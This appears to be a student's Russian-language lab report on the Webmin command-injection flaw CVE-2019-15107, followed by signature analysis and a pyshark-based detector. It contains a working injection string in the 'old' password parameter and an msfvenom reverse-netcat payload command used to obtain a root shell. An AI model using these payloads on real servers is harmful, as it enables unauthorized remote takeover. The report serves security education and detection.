
школьный проект
I. Обзор CVE-2019-15107
Webmin — это веб-интерфейс для системного администрирования Unix. С помощью любого веб-браузера можно настраивать учетные записи пользователей, Apache, DNS, общий доступ к файлам и многое другое.
10 августа 2019 года турецкий исследователь безопасности Özkan Mustafa Akkuş объявил об уязвимости нулевого дня на DefCon. Помимо раскрытия уязвимости, Akkuş также выпустил модуль Metasploit для автоматизации эксплуатации этой уязвимости. Из-за выполнения кода в функции сброса пароля файла password_change.cgi данная уязвимость позволяет третьей стороне выполнять вредоносный код без проверки подлинности ввода.
II. Затронутые версии
Эта уязвимость затрагивает версии Webmin с 1.882 по 1.921. Чтобы предотвратить эту уязвимость, пользователям Webmin следует обновиться до последней версии Webmin 1.93.
III. Анализ уязвимости
В Webmin для эксплуатации данной уязвимости необходимо включить функцию "разрешить изменение пароля пользователя". Это единственное условие, однако многие администраторы Webmin активируют эту функцию. Она позволяет пользователям устанавливать новый пароль, зная старый. В исходном коде приложения Webmin есть несколько примечательных файлов ".cgi". Один из них — password_change.cgi.

Единственное требование для работы параметров в этом файле — чтобы значение "passwd_mode" в конфигурационном файле "miniserv.conf" было установлено в "2".

На этом этапе мы будем использовать "|", читая файл /etc/shadow в процессе проверки старого пароля. Пример обычной команды смены пароля:

Если мы вставим простую команду, например "ifconfig", в команду смены пароля, как показано ниже, команда "ipconfig" будет выполнена и результат отобразится.

IV. Модель развертывания
Машина Ubuntu (жертва) с установленным Webmin версии 1.920 и IP-адресом: 192.168.109.128

Машина Kali (атакующий) с IP-адресом: 192.168.109.131


V. Эксплуатация уязвимости CVE

Затем атакующая машина отправляет этот запрос во вкладку Repeater Burp Suite для проверки уязвимости.

Атакующий редактирует некоторые данные перехваченного пакета запроса. Для изменения пароля метод HTTP должен быть POST, а не GET, как изначально.

Затем атакующая машина отправляет тестовый запрос на смену пароля со старого пароля на сервер Webmin жертвы:
“user=test&pam=&old=test&new1=test2&new2=test2”

При отправке запроса приходит сообщение о несовпадении старого пароля (The current password is incorrect), поэтому ключевым является параметр “old”.
Далее мы пробуем вставить базовую команду, например ifconfig, после параметра old, чтобы при проверке старого пароля сервер выполнил вставленную команду. Например:
“user=test&pam=&old=test|ifconfig&new1=test2&new2=test2”

Аналогично, при проверке старого пароля сервер всё равно выдает ошибку, но после проверки выполняется команда “ifconfig” и отображается результат.
Затем, для получения root-доступа, мы используем Metasploit framework для создания полезной нагрузки (payload) и отправки её на сервер Webmin жертвы для получения сессии shell.
“msfvenom -p cmd/unix/reverse_netcat lhost= lport=”

Затем копируем payload и вставляем его в запрос в Burp Suite.

После отправки запроса с payload на сервер Webmin машина-жертва получает reverse shell. Атакующая машина получает сессию shell на машину-жертву (ip: 192.168.109.128, порт 37218).

Таким образом, мы получили root-доступ через данную уязвимость CVE.

VI. Определение сигнатуры атаки
Используем Wireshark для захвата пакетов на сетевом уровне.

Для эксплуатации этой CVE атакующий должен использовать ссылку /password_change.cgi для отправки вредоносных запросов методом POST HTTP, поэтому мы будем анализировать захваченные HTTP-пакеты в Wireshark.

Мы видим, что команда “ifconfig” вставлена в процесс проверки старого пароля при смене пароля на сервере Webmin.

Таким образом, мы определяем сигнатуру этой CVE как параметры, передаваемые в процессе смены пароля по ссылке /password_change.cgi: “user=test&pam=&old=test | <команда, которую хочет выполнить атакующий> &new1=test2&new2=test2” VII. Разработка инструмента обнаружения атаки CVE-2019-15107
Как было проанализировано выше, для эксплуатации этой CVE атакующий должен вставить команду в параметр old ("старый пароль").

Чтобы обнаружить попытки вставки команд на основе этой уязвимости, мы будем захватывать и анализировать HTTP-пакеты, отправленные атакующим, с помощью инструмента “pyshark”.

Данные в захваченном HTTP-пакете возвращаются в шестнадцатеричном формате. По параметру “old=” и символу “|” можно определить, что кто-то пытается эксплуатировать эту CVE. Функция checkPayload проверяет, есть ли проблема в HTTP-пакете.

Затем, после определения проблемного HTTP-пакета, функция getCommand выводит команды, которые выполняет атакующий.

Процесс захвата и анализа пакетов также записывается в файл .csv.

VIII. Демонстрация программы
При атаке программа выдает предупреждение в реальном времени.

При остановке программы записывается файл .csv со всеми захваченными трафиками за время работы программы (payload http в шестнадцатеричном формате).

Программа также ведет журнал предупреждений об опасности.

IX. Заключение В ходе обучения и выполнения практических заданий в классе я смог частично понять процесс исследования и анализа вредоносного ПО. При эксплуатации и разработке программы обнаружения уязвимости CVE-2019-15107 я смог применить полученные знания для анализа и создания программы обнаружения уязвимости по сигнатурам, что повысило мои навыки анализа, обнаружения и обработки информации, а также мониторинга безопасности сети.